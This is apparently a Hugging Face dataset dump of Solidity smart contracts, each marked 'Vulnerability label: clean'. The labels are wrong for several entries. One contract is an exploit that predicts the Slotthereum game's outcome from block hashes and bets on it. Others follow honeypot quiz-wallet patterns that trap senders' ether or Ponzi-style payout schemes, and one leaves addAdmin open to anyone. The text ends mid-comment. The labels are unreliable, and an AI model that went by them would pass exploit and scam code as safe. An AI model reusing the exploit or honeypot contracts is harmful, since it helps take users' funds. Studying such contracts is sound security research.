Adson59/smartmaldb huggingface dataset:
// Vulnerability label: clean
pragma solidity ^0.4.24;

contract DACCToken {

    string public name = "Decentralized Accessible Content Chain";
    string public symbol = "DACC";
    uint256 public decimals = 6;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    uint256 public totalSupply = 30000000000000000;
    bool public stopped = false;
    address owner = 0x1e113613C889C76b792AdfdcbBd155904F3310a5;

    modifier isOwner {
        assert(owner == msg.sender);
        _;
    }

    modifier isRunning {
        assert(!stopped);
        _;
    }

    modifier isValidAddress {
        assert(0x0 != msg.sender);
        _;
    }

    constructor() public {
        balanceOf[owner] = totalSupply;
        emit Transfer(0x0, owner, totalSupply);
    }

    function transfer(address _to, uint256 _value) isRunning isValidAddress public returns (bool success) {
        require(balanceOf[msg.sender] >= _value);
        require(balanceOf[_to] + _value >= balanceOf[_to]);
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) isRunning isValidAddress public returns (bool success) {
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value >= balanceOf[_to]);
        require(allowance[_from][msg.sender] >= _value);
        balanceOf[_to] += _value;
        balanceOf[_from] -= _value;
        allowance[_from][msg.sender] -= _value;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) isRunning isValidAddress public returns (bool success) {
        require(_value == 0 || allowance[msg.sender][_spender] == 0);
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function stop() isOwner public {
        stopped = true;
    }

    function start() isOwner public {
        stopped = false;
    }

    function setName(string _name) isOwner public {
        name = _name;
    }

    function airdrop(address[] _DACusers,uint256[] _values) isRunning public {
        require(_DACusers.length > 0);
        require(_DACusers.length == _values.length);
        uint256 amount = 0;
        uint i = 0;
        for (i = 0; i < _DACusers.length; i++) {
            require(amount + _values[i] >= amount);
            amount += _values[i];  
        }
        require(balanceOf[msg.sender] >= amount);
        balanceOf[msg.sender] -= amount;
        for (i = 0; i < _DACusers.length; i++) {
            require(balanceOf[_DACusers[i]] + _values[i] >= balanceOf[_DACusers[i]]);
            balanceOf[_DACusers[i]] += _values[i];
            emit Transfer(msg.sender, _DACusers[i], _values[i]);
        }
    }
    
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// Vulnerability label: clean
pragma solidity ^0.4.25;

contract FF_Game
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}
// Vulnerability label: clean
pragma solidity ^0.4.13;

contract ERC20Basic {
  uint256 public totalSupply;
  function balanceOf(address who) constant returns (uint256);
  function transfer(address to, uint256 value) returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) constant returns (uint256);
  function transferFrom(address from, address to, uint256 value) returns (bool);
  function approve(address spender, uint256 value) returns (bool);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a / b;
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
  
}

contract BasicToken is ERC20Basic {
    
  using SafeMath for uint256;

  mapping(address => uint256) balances;

  function transfer(address _to, uint256 _value) returns (bool) {
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }

  function balanceOf(address _owner) constant returns (uint256 balance) {
    return balances[_owner];
  }

}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) allowed;

  function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
    var _allowance = allowed[_from][msg.sender];
    balances[_to] = balances[_to].add(_value);
    balances[_from] = balances[_from].sub(_value);
    allowed[_from][msg.sender] = _allowance.sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }

  function approve(address _spender, uint256 _value) returns (bool) {

    require((_value == 0) || (allowed[msg.sender][_spender] == 0));

    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }

  function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
    return allowed[_owner][_spender];
  }

}

contract Ownable {
    
  address public owner;

  function Ownable() {
    owner = msg.sender;
  }

  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address newOwner) onlyOwner {
    require(newOwner != address(0));      
    owner = newOwner;
  }

}

contract ANNA is StandardToken {
    
  string public constant name = "ANNA";
   
  string public constant symbol = "ANNA";
    
  uint32 public constant decimals = 0;

  uint256 public INITIAL_SUPPLY = 27121989;

  function ANNA() {
    totalSupply = INITIAL_SUPPLY;
    balances[msg.sender] = INITIAL_SUPPLY;
  }
    
}
// Vulnerability label: clean
pragma solidity ^0.4.19;

contract ETH_QUIZ
{
    function Play(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        if(responseHash == keccak256(_response) && msg.value>0.5 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function StartGame(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        question = _question;
        responseHash = _responseHash;
    }
    
    function() public payable{}
}
// Vulnerability label: clean
pragma solidity ^0.4.16;

contract Token {
    function totalSupply() constant returns (uint256 supply) {}
    function balanceOf(address _owner) constant returns (uint256 balance) {}
    function transfer(address _to, uint256 _value) returns (bool success) {}
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
    function approve(address _spender, uint256 _value) returns (bool success) {}
    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}

contract StandardToken is Token {

    function transfer(address _to, uint256 _value) returns (bool success) {
        if (balances[msg.sender] >= _value && _value > 0) {
            balances[msg.sender] -= _value;
            balances[_to] += _value;
            Transfer(msg.sender, _to, _value);
            return true;
        } else { return false; }
    }
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
            balances[_to] += _value;
            balances[_from] -= _value;
            allowed[_from][msg.sender] -= _value;
            Transfer(_from, _to, _value);
            return true;
        } else { return false; }
    }
    function balanceOf(address _owner) constant returns (uint256 balance) {
        return balances[_owner];
    }
    function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }
    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
      return allowed[_owner][_spender];
    }
    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
    uint256 public totalSupply;
}
contract DeepGold is StandardToken {
    function () {
        throw;
    }
    string public name;   
    uint8 public decimals;     
    string public symbol;  
    string public version = 'D1.0';   

    function DeepGold(
        ) {
        balances[msg.sender] = 10000000000000000; 
        totalSupply = 10000000000000000; 
        name = "Deep Gold";      
        decimals = 8;            
        symbol = "DEEP";                 
    }
    function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
        return true;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

contract TokenX {

    event Transfer(address indexed from, address indexed to, uint amount);
    event Approval(address indexed owner, address indexed spender, uint amount);

    uint private constant MAX_UINT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;

    string public constant name = "Token X";
    string public constant symbol = "TKX";
    uint public constant decimals = 2;
    uint public constant totalSupply = 10000 * (10 ** decimals);

    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    constructor() public {
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(0, msg.sender, totalSupply);
    }

    function transfer(address to, uint amount) external returns (bool) {
        require(to != address(this));
        require(to != 0);
        uint balanceOfMsgSender = balanceOf[msg.sender];
        require(balanceOfMsgSender >= amount);
        balanceOf[msg.sender] = balanceOfMsgSender - amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint amount) external returns (bool) {
        require(to != address(this));
        require(to != 0);
        uint allowanceMsgSender = allowance[from][msg.sender];
        require(allowanceMsgSender >= amount);
        if (allowanceMsgSender != MAX_UINT) {
            allowance[from][msg.sender] = allowanceMsgSender - amount;
        }
        uint balanceOfFrom = balanceOf[from];
        require(balanceOfFrom >= amount);
        balanceOf[from] = balanceOfFrom - amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
}
// Vulnerability label: clean
pragma solidity 0.4.25;

// Констракт.
contract MyMileage {

    // Владелец контракта.
    address private owner;

    // Отображение хеш сумм файлов в дату.
    mapping(bytes32 => uint) private map;

    // Модификатор доступа "только владелец".
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    // Конструктор.
    constructor() public {
        owner = msg.sender;
    }

    // Добавление записи.
    function put(bytes32 fileHash) onlyOwner public {

        // Проверка пустого значения по ключу.
        require(free(fileHash));

        // Установка значения.
        map[fileHash] = now;
    }

    // Проверка наличия значения.
    function free(bytes32 fileHash) view public returns (bool) {
        return map[fileHash] == 0;
    }

    // Получение значения.
    function get(bytes32 fileHash) view public returns (uint) {
        return map[fileHash];
    }

    // Получение кода подтверждения
    // в виде хеша блока.
    function getConfirmationCode() view public returns (bytes32) {
        return blockhash(block.number - 6);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.25;

contract online_wallet
{
    bytes32 keyHash;
    address owner;
    bytes32 wallet_id = 0xe0b52b783318a6cd9d8e48a2646c9787b38de806ae837557158f0564b142e2ff;

    constructor() public {
        owner = msg.sender;
    }

    function withdraw(string key) public payable
    {
        require(msg.sender == tx.origin);
        if(keyHash == keccak256(abi.encodePacked(key))) {
            if(msg.value > 0.4 ether) {
                msg.sender.transfer(address(this).balance);
            }
        }
    }

    function setup_key(string key) public
    {
        if (keyHash == 0x0) {
            keyHash = keccak256(abi.encodePacked(key));
        }
    }

    function chagne_hash(bytes32 new_hash) public
    {
        if (keyHash == 0x0) {
            keyHash = new_hash;
        }
    }

    function clear() public
    {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

    function get_id() public view returns(bytes32){
        return wallet_id;
    }

    function () public payable {
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.16;




/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  uint256 public totalSupply;
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}








/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address to, uint256 value) public returns (bool);
  function approve(address spender, uint256 value) public returns (bool);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}





/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}







contract MultiTransfer is Ownable {
    ERC20 public tkcAddress;

    function MultiTransfer() public {

    }

    function setTKC(address tkc) public onlyOwner {
        require(tkcAddress == address(0));
        tkcAddress = ERC20(tkc);
    }

    function transfer(address[] to, uint[] value) public onlyOwner {
        require(to.length == value.length);

        for (uint i = 0; i < to.length; i++) {
            tkcAddress.transferFrom(owner, to[i], value[i]);
        }
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.18;

// ----------------------------------------------------------------------------------------------
// PublickOffering by Xender Limited.
// An ERC20 standard
//
// author: Xender Team
// Contact: service@xender.com
// ----------------------------------------------------------------------------------------------

contract Authority {
    
    // contract administrator
    address public owner;
    
    // publick offering beneficiary
    address public beneficiary;
    
    // publick offering has closed
    bool public closed = false;
    
    // allowed draw ETH
    bool public allowDraw = true;
    
     modifier onlyOwner() { 
        require(msg.sender == owner);
        _;
    }
    
    modifier onlyBeneficiary(){
        require(msg.sender == beneficiary);
        _;
    }
    
    modifier alloweDrawEth(){
       if(allowDraw){
           _;
       }
    }
    
    function Authority() public {
        owner = msg.sender;
        beneficiary = msg.sender;
    }
    
    function open() public onlyOwner {
        closed = false;
    }
    
    function close() public onlyOwner {
        closed = true;
    }
    
    function setAllowDrawETH(bool _allow) public onlyOwner{
        allowDraw = _allow;
    }
}

contract PublickOffering is Authority {
    
    // invest info
    struct investorInfo{
        address investor;
        uint256 amount;
        uint    utime;
        bool    hadback;
    }
    
    // investors bills
    mapping(uint => investorInfo) public bills;
    
    // recive ETH total amount
    uint256 public totalETHSold;
    
    // investor number
    uint public lastAccountNum;
    
    // min ETH
    uint256 public constant minETH = 0.2 * 10 ** 18;
    
    // max ETH
    uint256 public constant maxETH = 20 * 10 ** 18;
    
    event Bill(address indexed sender, uint256 value, uint time);
    event Draw(address indexed _addr, uint256 value, uint time);
    event Back(address indexed _addr, uint256 value, uint time);
    
    function PublickOffering() public {
        totalETHSold = 0;
        lastAccountNum = 0;
    }
    
    function () public payable {
        if(!closed){
            require(msg.value >= minETH);
            require(msg.value <= maxETH);
            bills[lastAccountNum].investor = msg.sender;
            bills[lastAccountNum].amount = msg.value;
            bills[lastAccountNum].utime = now;
            totalETHSold += msg.value;
            lastAccountNum++;
            Bill(msg.sender, msg.value, now);
        } else {
            revert();
        }
    }
    
    function drawETH(uint256 amount) public onlyBeneficiary alloweDrawEth{
        beneficiary.transfer(amount);
        Draw(msg.sender, amount, now);
    }
    
    function backETH(uint pos) public onlyBeneficiary{
        if(!bills[pos].hadback){
            require(pos < lastAccountNum);
            bills[pos].investor.transfer(bills[pos].amount);
            bills[pos].hadback = true;
            Back(bills[pos].investor, bills[pos].amount, now);
        }
    }
    
}
// Vulnerability label: clean
pragma solidity ^0.4.4;

contract Token {
    function totalSupply() constant returns (uint256 supply) {}
    function balanceOf(address _owner) constant returns (uint256 balance) {}
    function transfer(address _to, uint256 _value) returns (bool success) {}
    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
    function approve(address _spender, uint256 _value) returns (bool success) {}
    function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
    
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);}

contract StandardToken is Token {

    function transfer(address _to, uint256 _value) returns (bool success) {
        if (balances[msg.sender] >= _value && _value > 0) {
            balances[msg.sender] -= _value;
            balances[_to] += _value;
            Transfer(msg.sender, _to, _value);
            return true;
        } else { return false; } }

    function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
        if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
            balances[_to] += _value;
            balances[_from] -= _value;
            allowed[_from][msg.sender] -= _value;
            Transfer(_from, _to, _value);
            return true;
        } else { return false; } }
 function balanceOf(address _owner) constant returns (uint256 balance) {
        return balances[_owner]; }
 function approve(address _spender, uint256 _value) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true; }
 function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
      return allowed[_owner][_spender]; }
    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
    uint256 public totalSupply;}



contract VENCERO is StandardToken {

    function () {
        throw;
    }

    string public name;                   
    uint8 public decimals;                
    string public symbol;                
    string public version = 'H1.0';     

//
    function VENCERO(
        ) {
        balances[msg.sender] = 3000000000000000000000000000;            
        totalSupply = 3000000000000000000000000000;                     
        name = "VENCERO";                               
        decimals = 18;                         
        symbol = "VENE";                           
    }

    function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);

      
        if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
        return true;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

interface BadERC20 {
    function transfer(address _to, uint256 _value) external;
}

interface GoodERC20 {
    function transfer(address _to, uint256 _value) external returns (bool);
}

contract TokenTransferTest {

    uint public GOOD_ERC20 = 1;
    uint public BAD_ERC20 = 2;

    function ()
        payable
        external
    {
        revert();
    }

    function testBadWithGoodInterface(address token,
                                      uint ercType,
                                      address to,
                                      uint value)
        external
    {
        if (ercType == 1) {
            GoodERC20 goodErc20 = GoodERC20(token);
            require(goodErc20.transfer(to, value));
        } else {
            BadERC20 badErc20 = BadERC20(token);
            badErc20.transfer(to, value);
        }
    }

}
// Vulnerability label: clean
pragma solidity ^0.4.19;

contract TestToken {
    
    mapping (address => uint) public balanceOf;
    
    function () public payable {
        
        balanceOf[msg.sender] = msg.value;
        
    }
    
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

/**
 * @title Owned
 * @dev Contract that sets an owner, who can execute predefined functions, only accessible by him
 */
contract Owned {
	address public owner;

	constructor() public {
		owner = msg.sender;
	}

	modifier onlyOwner {
		require(msg.sender == owner);
		_;
	}

	function transferOwnership(address newOwner) onlyOwner public {
		require(newOwner != 0x0);
		owner = newOwner;
	}
}

/**
 * @title SafeMath
 * @dev Mathematical functions to check for overflows
 */
contract SafeMath {
	function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		assert(c >= a && c >= b);

		return c;
	}
}

contract CURESSale is Owned, SafeMath {
	uint256 public maxGoal = 175000 * 1 ether;			// Hard Cap in Ethereum
	uint256 public minTransfer = 5 * 1 ether;			// Minimum amount in EHT that can be send
	uint256 public amountRaised = 0;					// The raised amount in ETH Wei
	mapping(address => uint256) public payments;		// How much ETH the user sent
	bool public isFinalized = false;					// Indicates if the Private Sale is finalized

	// Public event on the blockchain, to notify users when a Payment is made
	event PaymentMade(address indexed _from, uint256 _ammount);

	/**
	 * @dev The default function called when anyone sends funds (ETH) to the contract
	 */
	function() payable public {
		buyTokens();
	}

	function buyTokens() payable public returns (bool success) {
		// Check if finalized
		require(!isFinalized);

		uint256 amount = msg.value;

		// Check if the goal is reached
		uint256 collectedEth = safeAdd(amountRaised, amount);
		require(collectedEth <= maxGoal);

		require(amount >= minTransfer);

		payments[msg.sender] = safeAdd(payments[msg.sender], amount);
		amountRaised = safeAdd(amountRaised, amount);

		owner.transfer(amount);

		emit PaymentMade(msg.sender, amount);
		return true;
	}

	// In case of any ETH left at the contract
	// Can be used only after the Sale is finalized
	function withdraw(uint256 _value) public onlyOwner {
		require(isFinalized);
		require(_value > 0);

		msg.sender.transfer(_value);
	}

	function changeMinTransfer(uint256 min) external onlyOwner {
		require(!isFinalized);

		require(min > 0);

		minTransfer = min;
	}

	// CURES finalizes the Sale
	function finalize() external onlyOwner {
		require(!isFinalized);

		// Finalize the Sale
		isFinalized = true;
	}
}
// Vulnerability label: clean
pragma solidity ^0.4.18;

// @dev Generated and used by the Truffle framework
contract Migrations {
    address public owner;
    uint256 public last_completed_migration;

    modifier restricted() {
        if (msg.sender == owner)
        _;
    }

    function Migrations() public {
        owner = msg.sender;
    }

    function setCompleted(uint256 completed) public restricted {
        last_completed_migration = completed;
    }

    function upgrade(address newAddress) public restricted {
        Migrations upgraded = Migrations(newAddress);
        upgraded.setCompleted(last_completed_migration);
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.25;
 
library SafeMath {
  function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
    if (_a == 0) {
      return 0;
    }
    c = _a * _b;
    assert(c / _a == _b);
    return c;
  }
 
  function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
    return _a / _b;
  }
 
  function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
    assert(_b <= _a);
    return _a - _b;
  }
 
  function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
    c = _a + _b;
    assert(c >= _a);
    return c;
  }
}
 
   
contract RockInvest {
    using SafeMath for uint256;
   
   
    address public constant admAddress = 0x35F55eBE0CAABaA7D0Ed7E6f4DbA414DF76EC4c4;
    
    mapping (address => uint256) deposited;
    mapping (address => uint256) withdrew;
    mapping (address => uint256) blocklock;
 
    uint256 public totalDepositedWei = 0;
    uint256 public totalWithdrewWei = 0;
    modifier admPercent(){
        require(msg.sender == admAddress);
        _;
    }
 
    function() payable external {
        if (deposited[msg.sender] != 0) {
            address investor = msg.sender;
            uint256 depositsPercents = deposited[msg.sender].mul(5).div(100).mul(block.number-blocklock[msg.sender]).div(5900);
            investor.transfer(depositsPercents);
 
            withdrew[msg.sender] += depositsPercents;
            totalWithdrewWei = totalWithdrewWei.add(depositsPercents);
			
			
        }
 
       
        blocklock[msg.sender] = block.number;
        deposited[msg.sender] += msg.value;
 
        totalDepositedWei = totalDepositedWei.add(msg.value);
    }
 
    function userDepositedWei(address _address) public view returns (uint256) {
        return deposited[_address];
    }
 
    function userWithdrewWei(address _address) public view returns (uint256) {
        return withdrew[_address];
    }
 
    function userDividendsWei(address _address) public view returns (uint256) {
        return deposited[_address].mul(5).div(100).mul(block.number-blocklock[_address]).div(5900);
    }
   
    function releaseAdmPercent() admPercent public {
        uint256 toParticipants = this.balance;
        admAddress.transfer(toParticipants);
    }
 
 
   
    function bytesToAddress(bytes bys) private pure returns (address addr) {
        assembly {
            addr := mload(add(bys, 20))
        }
    }
}
// Vulnerability label: clean
// 224109999999999995 * 10 / 9 = x

contract Slotthereum {
    function placeBet(uint8 start, uint8 end) public payable returns (bool) {
    }
}

contract Exploit {
    address owner;
    uint8 pointer;
    Slotthereum target;
    
    function Exploit() {
        owner = msg.sender;
    }
    
    function attack(address a, uint8 n) payable {
        Slotthereum target = Slotthereum(a);
        pointer = n;
        uint8 win = getNumber(getBlockHash(pointer));
        target.placeBet.value(msg.value)(win, win);
    }
    
    function () payable {
        
    }
    
    function withdraw() {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
    
    function getBlockHash(uint i) internal constant returns (bytes32 blockHash) {
        if (i >= 255) {
            i = 255;
        }
        if (i <= 0) {
            i = 1;
        }
        blockHash = block.blockhash(block.number - i);
    }
    
    function getNumber(bytes32 _a) internal constant returns (uint8) {
        uint8 mint = pointer;
        for (uint i = 31; i >= 1; i--) {
            if ((uint8(_a[i]) >= 48) && (uint8(_a[i]) <= 57)) {
                return uint8(_a[i]) - 48;
            }
        }
        return mint;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.4;

contract Migrations {
  address public owner;
  uint public last_completed_migration;

  modifier restricted() {
    if (msg.sender == owner) _;
  }

  function Migrations() public {
    owner = msg.sender;
  }

  function setCompleted(uint completed) restricted public {
    last_completed_migration = completed;
  }

  function upgrade(address new_address) restricted public {
    Migrations upgraded = Migrations(new_address);
    upgraded.setCompleted(last_completed_migration);
  }
}
// Vulnerability label: clean
/**
Сумма всех процентов = 2% фиксированный + Динамический процент от баланса контракта + Индивидуальный процент с суммы вклада.
Примеры:
Если вы внесли 1 ETH и баланс контракта 10 ETH, то Ваш суммарный процент = 2.009166666 %
Если вы внесли 10 ETH и баланс контракта 250 ETH, то Ваш суммарный процент = 2.19166666 %
Если вы внесли 15 ETH и баланс контракта 1200 ETH, то Ваш суммарный процент = 2,83755 %
Если вы внесли 20 ETH и баланс контракта 3777 ETH, то Ваш суммарный процент = 4.568 %

Чем больше вклад и собранные инвестиции, тем больше Ваш процент.
 */
 
pragma solidity ^0.4.25;
contract NOTBAD_DynamicS {
    mapping (address => uint256) public invested;
    mapping (address => uint256) public atBlock;
    function () external payable
    {
        if (invested[msg.sender] != 0) {
            // Выплата = 2% фиксированный + (баланс контракта в момент запроса выплаты / 1500) + (сумма инвестиции / 400 ) / 100 * (номер блока вЫхода - номер блока вхОда) / средняя сумма блоков в сутки. 
            uint256 amount = invested[msg.sender] * ( 2 + ((address(this).balance / 1500) + (invested[msg.sender] / 400))) / 100 * (block.number - atBlock[msg.sender]) / 6000;
            msg.sender.transfer(amount);
        }
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

contract ERC20Interface {
    function totalSupply() public view returns (uint);
    function balanceOf(address tokenOwner) public view returns (uint balance);
    function transfer(address to, uint tokens) public returns (bool success);

    
    //function allowance(address tokenOwner, address spender) public view returns (uint remaining);
    //function approve(address spender, uint tokens) public returns (bool success);
    //function transferFrom(address from, address to, uint tokens) public returns (bool success);
    
    event Transfer(address indexed from, address indexed to, uint tokens);
    //event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}


contract KeyPay is ERC20Interface{
    string public name = "KeyPay Coin";
    string public symbol = "KPC";
    uint public decimals = 18;
    
    uint public supply;
    address public founder;
    
    mapping(address => uint) public balances;


 event Transfer(address indexed from, address indexed to, uint tokens);


    constructor() public{
        supply = 10000000000000000000000000000;
        founder = msg.sender;
        balances[founder] = supply;
    }
    
    
    function totalSupply() public view returns (uint){
        return supply;
    }
    
    function balanceOf(address tokenOwner) public view returns (uint balance){
         return balances[tokenOwner];
     }
     
     
    //transfer from the owner balance to another address
    function transfer(address to, uint tokens) public returns (bool success){
         require(balances[msg.sender] >= tokens && tokens > 0);
         
         balances[to] += tokens;
         balances[msg.sender] -= tokens;
         emit Transfer(msg.sender, to, tokens);
         return true;
     }
     
     
     function burn(uint256 _value) public returns (bool success) {
        require(balances[founder] >= _value);   // Check if the sender has enough
        balances[founder] -= _value;            // Subtract from the sender
        supply -= _value;                      // Updates totalSupply
        return true;
    }
     
}
// Vulnerability label: clean
pragma solidity ^0.4.19;

/*
Game: MylittleProgram
Dev: WhiteMatrix
*/

library SafeMath {

/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}

/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}

/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}

/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}

contract MylittleProgram {
using SafeMath for uint256;
mapping (address => bool) private admins;
mapping (uint => uint256) public levels;
mapping (uint => bool) private lock;
address contractCreator;
address winnerAddress;
uint256 prize;
function MylittleProgram () public {

contractCreator = msg.sender;
winnerAddress = 0xFb2D26b0caa4C331bd0e101460ec9dbE0A4783A4;
admins[contractCreator] = true;
}

struct Pokemon {
string pokemonName;
address ownerAddress;
uint256 currentPrice;
}
Pokemon[] pokemons;

//modifiers
modifier onlyContractCreator() {
require (msg.sender == contractCreator);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}

//Owners and admins

/* Owner */
function setOwner (address _owner) onlyContractCreator() public {
contractCreator = _owner;
}

function addAdmin (address _admin) public {
admins[_admin] = true;
}

function removeAdmin (address _admin) onlyContractCreator() public {
delete admins[_admin];
}

// Adresses
function setPrizeAddress (address _WinnerAddress) onlyAdmins() public {
winnerAddress = _WinnerAddress;
}

bool isPaused;
/*
